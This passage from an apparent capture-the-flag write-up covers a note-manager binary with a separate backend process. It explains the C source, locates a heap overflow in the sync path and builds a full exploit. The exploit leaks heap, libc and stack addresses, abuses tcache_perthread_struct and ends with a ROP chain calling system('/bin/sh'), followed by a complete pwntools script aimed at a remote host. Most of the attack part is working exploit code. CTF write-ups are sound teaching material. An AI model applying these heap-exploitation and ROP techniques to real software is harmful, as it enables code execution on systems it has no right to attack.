puts("Added"); } ``` This option allows to input `title`, `name`, and `content`. One more thing is if you want to encrypt your data, you can enter `passwd` and backend will use `SHA256` to encrypt. After receiving user input, `new_note` will be appended to global variable `notes`, which serves as a linked list. **List note** ```c void list_note() { Note_t tnote; DL_FOREACH(notes, tnote){ printf("Title: %s\n", tnote->note_title); printf("Author: %s\n", tnote->note_author); if(tnote->note_is_encrypt){ printf("Content: (Encrypted)\n"); } else { printf("Content: %s\n", tnote->note_content); } } } ``` This option prints all the notes' information, and if you choose to hash the content, it will print `encrypted` instead the real content. **Read note** ```c void read_note() { struct Note s_note; Note_t tmp; char buf[64]; char passwd_hash[SHA256_DIGEST_LENGTH]; msg_hdr_t send_msg; msg_hdr_t recv_msg; size_t recv_size = 0; size_t send_size = 0; NoteSerialize_t serialize_p; Status status; int rc; bzero(&s_note, sizeof(struct Note)); printf("Title: "); read_line(s_note.note_title, sizeof(s_note.note_title) - 1); printf("Author: "); read_line(s_note.note_author, sizeof(s_note.note_author) - 1); DL_SEARCH(notes, tmp, &s_note, Note_cmp); if(!tmp){ printf("Unable to find your note\n"); return; } if(tmp->note_is_encrypt){ printf("Password? "); read_line(buf, sizeof(buf) - 1); // sha1 here SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash); // read from backend send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + SHA256_DIGEST_LENGTH; send_msg = malloc(send_size); send_msg->action = FETCH; send_msg->msg_size = send_size - sizeof(struct msg_hdr); serialize_p = (NoteSerialize_t)send_msg->msg_content; memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon)); memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash)); send_data(&ipc, RECEIVER, send_msg, send_size); free(send_msg); rc = recv_data_timeout(&ipc, SENDER, (void **)&recv_msg, &recv_size, 60); if(IS_ERR(rc) || recv_size < sizeof(struct msg_hdr)){ printf("Unable to read content\n"); return; } serialize_p = (NoteSerialize_t)recv_msg->msg_content; printf("Content: %s\n", serialize_p->content); } else { printf("Content: %s\n", tmp->note_content); } } ``` This option allows user to view arbitrary created chunk, and enter `title`, `name`, and `passwd` if you have for the note. **Edit note** ```c void edit_note() { struct Note s_note; Note_t tmp; char buf[64]; char passwd_hash[SHA256_DIGEST_LENGTH]; msg_hdr_t send_msg; size_t send_size = 0; NoteSerialize_t serialize_p; uint64_t status; int rc; bzero(&s_note, sizeof(struct Note)); printf("Title: "); read_line(s_note.note_title, sizeof(s_note.note_title) - 1); printf("Author: "); read_line(s_note.note_author, sizeof(s_note.note_author) - 1); DL_SEARCH(notes, tmp, &s_note, Note_cmp); if(!tmp){ printf("Unable to find your note\n"); return; } if(tmp->note_is_encrypt){ printf("Password ?"); read_line(buf, sizeof(buf) - 1); // sha256 SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash); // sync with server send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash); send_msg = malloc(send_size); send_msg->action = AUTH; send_msg->msg_size = send_size - sizeof(struct msg_hdr); serialize_p = (NoteSerialize_t)send_msg->msg_content; memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon)); serialize_p->note_content_len = sizeof(passwd_hash); memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash)); send_data(&ipc, RECEIVER, send_msg, send_size); free(send_msg); rc = recv_data_timeout(&ipc, SENDER, NULL, &status, 60); if(IS_ERR(rc) || status != OK){ printf("Authenticate was failed\n"); return; } printf("Access granted\n"); } printf("New content len?"); uint32_t content_len = read_int(); content_len = content_len < MAX_CONTENT_LEN ? content_len: MAX_CONTENT_LEN; printf("New content:\n"); if(tmp->note_is_encrypt){ tmp->note_content = malloc(content_len); tmp->note_content_len = content_len; fgets(tmp->note_content, content_len, stdin); // sync with server send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize) + sizeof(passwd_hash) + content_len; send_msg = malloc(send_size); send_msg->action = COMMIT; send_msg->msg_size = send_size - sizeof(struct msg_hdr); serialize_p = (NoteSerialize_t)send_msg->msg_content; memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon)); serialize_p->note_content_len += sizeof(passwd_hash); memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash)); memcpy(serialize_p->content + sizeof(passwd_hash), tmp->note_content, tmp->note_content_len); free(tmp->note_content); tmp->note_content = NULL; send_data(&ipc, RECEIVER, send_msg, send_size); free(send_msg); rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60); if(IS_ERR(rc) || status != OK){ printf("Unable to update your content\n"); return; } tmp->note_synced = 1; } else { if(tmp->note_content){ free(tmp->note_content); } tmp->note_content = malloc(content_len); tmp->note_content_len = content_len; fgets(tmp->note_content, content_len, stdin); tmp->note_synced = 0; } } ``` This option allows you to edit the content, by choosing a new content size, then removing the old content, and malloc a new chunk with specified size. **Delete note** ```c void delete_note(void) { struct Note s_note; Note_t tmp; char buf[64]; char passwd_hash[SHA256_DIGEST_LENGTH]; bzero(&s_note, sizeof(struct Note)); printf("Title: "); read_line(s_note.note_title, sizeof(s_note.note_title) - 1); printf("Author: "); read_line(s_note.note_author, sizeof(s_note.note_author) - 1); DL_SEARCH(notes, tmp, &s_note, Note_cmp); if(!tmp){ printf("Unable to find your note\n"); return; } size_t send_size = sizeof(struct msg_hdr) + sizeof(struct NoteSerialize); msg_hdr_t send_msg; // sync with server if(tmp->note_is_encrypt || tmp->note_synced){ if(tmp->note_is_encrypt){ send_size += SHA256_DIGEST_LENGTH; printf("Your password? "); bzero(buf, sizeof(buf)); read_line(buf, sizeof(buf) - 1); // sha256 SHA256((const unsigned char *)buf, strlen(buf), (unsigned char *)passwd_hash); } send_msg = malloc(send_size); send_msg->action = DELETE; send_msg->msg_size = send_size - sizeof(struct msg_hdr); NoteSerialize_t serialize_p = (NoteSerialize_t)send_msg->msg_content; memcpy(&(serialize_p->common), &(tmp->common), sizeof(struct NoteCommon)); serialize_p->note_content_len = 0; if(tmp->note_is_encrypt){ serialize_p->note_content_len = sizeof(passwd_hash); memcpy(serialize_p->content, passwd_hash, sizeof(passwd_hash)); } send_data(&ipc, RECEIVER, send_msg, send_size); free(send_msg); uint64_t status = 0; int rc = recv_data_timeout(&ipc, SENDER, NULL, &status, 60); if(IS_ERR(rc) || (Status)status != OK){ printf("Unable to delete note\n"); return; } } DL_DELETE(notes, tmp); notes_size--; printf("Deleted\n"); } ``` This option allows you to remove a note. One thing is that this option removes the note by deleting it from the linked list and does not remove any `malloc-ed` chunk. **Sync** ```c int note_sync(int flag) { msg_hdr_t msg_hdr = NULL; uint32_t send_size, recv_size; struct msg_hdr inline_msg_hdr; Note_t cur_note, next_note, next_note2; NoteSerialize_t serialize_p; uint64_t status; uint32_t read_count = 0; int rc; if(flag == 1){ send_size = sizeof(struct msg_hdr); next_note = notes; next_note2 = notes; // commit un-synced note to backend DL_FOREACH(next_note, cur_note){ if(cur_note->note_synced) continue; send_size += sizeof(struct NoteSerialize) + cur_note->note_content_len; if(send_size > SHM_MEM_MAX_SIZE){ next_note = cur_note; break; } } if(send_size == sizeof(struct msg_hdr)){ printf("All notes was synced\n"); return 0; } msg_hdr = malloc(send_size); msg_hdr->action = COMMIT; msg_hdr->msg_size = send_size - sizeof(struct msg_hdr); serialize_p = (NoteSerialize_t)msg_hdr->msg_content; DL_FOREACH(next_note2, cur_note) { if(cur_note->note_synced) continue; memcpy(&(serialize_p->common), &(cur_note->common), sizeof(struct NoteCommon)); memcpy(serialize_p->content, cur_note->note_content, cur_note->note_content_len); serialize_p = (NoteSerialize_t)((size_t)serialize_p + sizeof(struct NoteSerialize) + cur_note->note_content_len); cur_note->note_synced = 1; } send_data(&ipc, RECEIVER, msg_hdr, send_size); free(msg_hdr); rc = recv_data_timeout(&ipc, SENDER, NULL, (uint64_t *)&status, 60); if(IS_ERR(rc) || status != OK){ printf("Unable to commit data to backend\n"); return 1; } } else { // fetch from backend inline_msg_hdr.action = FETCH; inline_msg_hdr.msg_size = 0xFFFFFFFF; // fetch all except encrypted note content send_data(&ipc, RECEIVER, &inline_msg_hdr, sizeof(inline_msg_hdr)); int truncated = 0; do{ truncated = 0; rc = recv_data_timeout(&ipc, SENDER, (void **)&msg_hdr, (uint64_t *)&recv_size, 60); if(IS_ERR(rc) || recv_size < sizeof(struct msg_hdr)){ if((Status)recv_size == OK){ return 0; } else { printf("Unable to fetch data from backend\n"); return 1; } } if(msg_hdr->action == TRUNCATED) truncated = 1; Note_t search_note; // parse from backend while(read_count < msg_hdr->msg_size){ serialize_p = (NoteSerialize_t)((size_t)msg_hdr->msg_content + read_count); Note_t new_note = Note_init(serialize_p->note_title, serialize_p->note_author, serialize_p->note_content_len, serialize_p->note_is_encrypt); read_count += sizeof(struct NoteSerialize); Note_t p_note; DL_SEARCH(notes, search_note, new_note, Note_cmp); p_note = search_note; if(!search_note){ p_note = new_note; } // update new content if(!p_note->note_is_encrypt){ memcpy(p_note->note_content, serialize_p->content, serialize_p->note_content_len); read_count += new_note->note_content_len; } if(p_note->note_is_encrypt) { p_note->note_synced = 1; if(p_note->note_content){ free(p_note->note_content); p_note->note_content = NULL; } } if(!search_note){ DL_APPEND(notes, new_note); } else { Note_destroy(new_note); } } if(truncated){ // signal backend send next data send_data(&ipc, RECEIVER, NULL, OK); } } while(truncated); } return 0; } ``` This option is more complex. Based on the parameter `flag`, we have two abilities. - If `flag == 1`, we will commit all the notes that are unsynced to `backend`, by copying all the information of a specific note to a shared memory called by `mmap` in `backend` - If `flag == 0`, we will receive the data from that shared memory to fetch into our current note. That's all the options. Let's find the bug ### BUG Take a look at how `backend` handles all the chunk when `sync(1)`. ```c DL_SEARCH(notes, tmp1, new_note, NoteBackend_cmp); parsed_error = OK; if(tmp1){ // update content only; DBG("[backend] COMMIT: update content for %s - %s\n", tmp1->note_title, tmp1->note_author); if(tmp1->note_is_encrypt && memcmp(tmp1->passwd, serialize_note->content, SHA256_DIGEST_LENGTH) == 0){ // access granted DBG("[backend] COMMIT: access granted for encrypted note - update new content\n"); Note_Crypt((const char *)tmp1->passwd, (const char *)&(serialize_note->content[SHA256_DIGEST_LENGTH]), (const size_t)content_len, &encrypt_buf, &encrypt_size, Encrypt); if(tmp1->note_content){ free(tmp1->note_content); } tmp1->note_content = encrypt_buf; tmp1->note_content_len = encrypt_size; } else if(!tmp1->note_is_encrypt){ DBG("[backend] COMMIT: update new content_len: %d\n", content_len); if(tmp1->note_content){ free(tmp1->note_content); } tmp1->note_content = malloc(content_len); tmp1->note_content_len = content_len; memcpy(tmp1->note_content, serialize_note->content, serialize_note->note_content_len); } NoteBackend_destroy(new_note); ``` First, it will compare title and author of the note, then if the `tmp1->content` exists, it will free the content and replace by a newer content. So what will happen if two chunks have the similar title and author, but the content of latter has a bigger size. After `sync(1)`, we choose to `sync(0)`, all the data from `backend` will be copied into heap in `interface`. ```c DL_FOREACH(next_note2, cur_note) { if(cur_note->note_synced) continue; memcpy(&(serialize_p->common), &(cur_note->common), sizeof(struct NoteCommon)); memcpy(serialize_p->content, cur_note->note_content, cur_note->note_content_len); ``` There is no check over `cur_note->note_content_len`, which will lead to a `heap overflow` and `oob write` primitive. **Arbitrary read** To leak address, there are two ways: - Using `uninitialized variable` as `malloc` doesn't memset old content. - Overwriting `note->content` to an address containing another address. Because of `fgets` adding null-byte to the end, a heap address with a form `0xXXXXXXXXXX00` must have a valid pointer My strategy is to ``` - Chunk 1 will have content's size 0x58 - Chunk 2 will have content's size 0x18 - chunk 3 will have content's size 0x91 ``` ![image](https://hackmd.io/_uploads/BkhIrlt96.png) `0x55555555d400` has a pointer to `0x55555555d420`, so our target is to overwrite `chunk3->content`. Because the size is `0x91`, trailing null-byte of `chunk3->content` will be copied into chunk 3 again. ![image](https://hackmd.io/_uploads/H1h7Oetqa.png) Okay, heap leak is successful. How can we leak libc when in `delete` option there is no free. In `edit` option, we can choose to release old `content` and replace it with a new specified chunk. So my strategy here is: ``` - Set content of an arbitrary chunk to tcache_perthread_struct - Create a chunk with size larger than fastbin size, then write to that tcache_count 7. - Create a chunk with content is an address to main_arena address - Free that content and alloc a smaller chunk, we will have libc address. - Leak the chunk containing a pointer to main_arena, we will have libc. ``` So now let's begin. **First chunk** ```py pl = b'\0' * 0x18 pl += p64(0x91) pl += b'lin1' pl = pl.ljust(0x60, b'\0') pl += b'lin1' pl = pl.ljust(0x90, b'\0') pl += p64(heap + 0x10)[0:6] add(b'lynk', b'Lynk', b'n', 0x10, b'A') add(b'lynk', b'Lynk', b'n', 0x97, pl) ``` **Second chunk** ```py pl = b'\0' * 0x18 pl += p64(0x91) pl += b'lin2' pl = pl.ljust(0x60, b'\0') pl += b'lin2' pl = pl.ljust(0x90, b'\0') pl += p64(heap + 0xf10)[0:6] add(b'lynk1', b'Lynk1', b'n', 0x10, b'B') add(b'lynk1', b'Lynk1', b'n', 0x97, pl) ``` **Third chunk** ```py pl = b'\0' * 0x18 pl += p64(0x91) pl += b'lin3' pl = pl.ljust(0x60, b'\0') pl += b'lin3' pl = pl.ljust(0x90, b'\0') pl += p64(heap + 0xf40)[0:6] # chunk will have main_arena address add(b'lynk2', b'Lynk2', b'n', 0x10, b'B') add(b'lynk2', b'Lynk2', b'n', 0x97, pl) ``` Edit `lin1` chunk, where we can free `tcache_perthread_struct`, then malloc(0x288) will reuse that freed object. ```py edit(b'lin1', b'lin1', 0x288, pl) ``` ![image](https://hackmd.io/_uploads/SJS4slF5p.png) Edit `lin2`, we will have `main_arena` address now. ```py edit(b'lin2', b'lin2', 0x20, b'A') # alloc a smaller chunk ``` ![image](https://hackmd.io/_uploads/Bk5Yoxtqa.png) Okay, we have `libc` now. **Leaking stack and overwriting return address** We have `lin1->content` is `tcache_perthread_struct`, I choose to overwrite chunk `lynk`, and rewrite its content to `environ` in order to leak stack. ![image](https://hackmd.io/_uploads/SJ7T2xtqa.png) ![image](https://hackmd.io/_uploads/HkVkpxY5a.png) Reuse `tcache_perthread_struct` again to ROP on stack. ```py pl = p16(1) * 64 + p64(stack) * 10 edit(b'lin1', b'lin1', 0x288, pl) rdi = 0x000000000002a3e5 + l.address ret = rdi + 1 bin_sh = next(l.search(b'/bin/sh')) pl = p64(0) + p64(rdi) + p64(bin_sh) + p64(ret) + p64(l.sym['system']) #pause() edit(b'junk1', b'junk1', 0x88, pl) ``` ![image](https://hackmd.io/_uploads/r1eralYqp.png) **Final script** ```py from pwn import * e = context.binary = ELF("./interface") be = context.binary = ELF("./backend") l = ELF("./libc.so.6") r = remote("139.162.29.93", 31339) #r = process([e.path, be.path]) def choice(c: int): r.recvuntil(b'Choice: ') r.sendline(str(c).encode()) def add(title: bytes, author: bytes, enc: bytes, num: int, content: bytes, passwd = b'123'): choice(1) r.recvuntil(b'Title: ') r.sendline(title) r.recvuntil(b'Author: ') r.sendline(author) r.recvuntil(b'(y/n) ') r.sendline(enc) if enc == b'y': r.recvuntil(b'What is your passwd? ') r.sendline(passwd) r.recvuntil(b'How many bytes for content? ') r.sendline(str(num).encode()) r.recvuntil(b'Content:') r.sendline(content) def list_(): choice(2) def read_(title: bytes, author: bytes, passwd = None): choice(3) r.recvuntil(b'Title: ') r.sendline(title) r.recvuntil(b'Author: ') r.sendline(author) if passwd: r.recvuntil(b'Password? ') r.sendline(passwd) def edit(title: bytes, author: bytes, new_len: int, new_content: bytes, passwd = None): choice(4) r.recvuntil(b'Title: ') r.sendline(title) r.recvuntil(b'Author: ') r.sendline(author) if passwd: r.recvuntil(b'Password? ') r.sendline(passwd) r.recvuntil(b'New content len?') r.sendline(str(new_len).encode()) r.recvuntil(b'New content:') r.sendline(new_content) def delete(title: bytes, author: bytes): choice(5) r.recvuntil(b'Title: ') r.sendline(title) r.recvuntil(b'Author: ') r.sendline(author) def sync(sc): choice(6) r.recvuntil(b'[c]ommit note? (s/c)') r.sendline(sc) context.terminal = ['/usr/bin/vscode'] gs = """ set follow-fork-mode parent b*edit_note+600 """ #gdb.attach(r, gs) add(b'lynk', b'Lynk', b'n', 0x58, b'A' * 0x67) add(b'lynk1', b'Lynk1', b'n', 0x17, b'A' * 0x16) pl = b'\0' * 0x18 pl += p64(0x91) pl += b'lin' pl = pl.ljust(0x60, b'\0') pl += b'lin' pl = pl.ljust(0x80, b'\0') pl += p64(0x2000) pl = pl.ljust(0x8f, b'\0') add(b'lynk1', b'Lynk1', b'n', 0x91, pl) #add(b'gym', b'jao', b'n', 0x91, payload) sync(b'c') sync(b's') read_(b'lin', b'lin') r.recvuntil(b'Content: ') heap = u64(r.recv(6).ljust(8, b'\0')) - 0x420 log.info(f'Heap: {hex(heap)}') delete(b'lynk', b'Lynk') delete(b'lynk1', b'Lynk1') delete(b'lin', b'lin') pl = b'\0' * 0x18 pl += p64(0x91) pl += b'lin1' pl = pl.ljust(0x60, b'\0') pl += b'lin1' pl = pl.ljust(0x90, b'\0') pl += p64(heap + 0x10)[0:6] add(b'lynk', b'Lynk', b'n', 0x10, b'A') add(b'lynk', b'Lynk', b'n', 0x97, pl) pl = b'\0' * 0x18 pl += p64(0x91) pl += b'lin2' pl = pl.ljust(0x60, b'\0') pl += b'lin2' pl = pl.ljust(0x90, b'\0') pl += p64(heap + 0xf10)[0:6] add(b'lynk1', b'Lynk1', b'n', 0x10, b'B') add(b'lynk1', b'Lynk1', b'n', 0x97, pl) pl = b'\0' * 0x18 pl += p64(0x91) pl += b'lin3' pl = pl.ljust(0x60, b'\0') pl += b'lin3' pl = pl.ljust(0x90, b'\0') pl += p64(heap + 0xf40)[0:6] # chunk will have main_arena address add(b'lynk2', b'Lynk2', b'n', 0x10, b'B') add(b'lynk2', b'Lynk2', b'n', 0x97, pl) add(b'junk1', b'junk1', b'n', 0x250, b'A') add(b'junk2', b'junk2', b'n', 0x260, b'A') #delete(b'lynk1', b'Lynk1') sync(b'c') sync(b's') pl = p16(0) * 35 + p16(7) * 3 pause() edit(b'lin1', b'lin1', 0x288, pl) # edit tcache_perthread_struct edit(b'lin2', b'lin2', 0x20, b'A') # alloc a smaller chunk read_(b'lin3', b'lin3') r.recvuntil(b'Content: ') l.address = u64(r.recv(6) + b'\0' * 2) - l.sym['main_arena'] - 96 log.info(f'Libc: {hex(l.address)}') pl = p16(1) * 64 + p64(heap + 0x830) * 10 edit(b'lin1', b'lin1', 0x288, pl) edit(b'lin2', b'lin2', 0x98, p64(0x10) + p64(0x2) + p64(l.sym['environ']) + p64(heap + 0xe80) + p64(heap + 0x900) + p64(0x81)) read_(b'lynk', b'Lynk') r.recvuntil(b'Content: ') stack = u64(r.recv(6) + b'\0' * 2) - 832 log.info(f'Stack: {hex(stack)}') pl = p16(1) * 64 + p64(stack) * 10 edit(b'lin1', b'lin1', 0x288, pl) rdi = 0x000000000002a3e5 + l.address ret = rdi + 1 bin_sh = next(l.search(b'/bin/sh')) pl = p64(0) + p64(rdi) + p64(bin_sh) + p64(ret) + p64(l.sym['system']) #pause() edit(b'junk1', b'junk1', 0x88, pl) r.interactive() ``` ## Pwn03-flag2 Here we are going to find vulnerability and exploit in `backend`.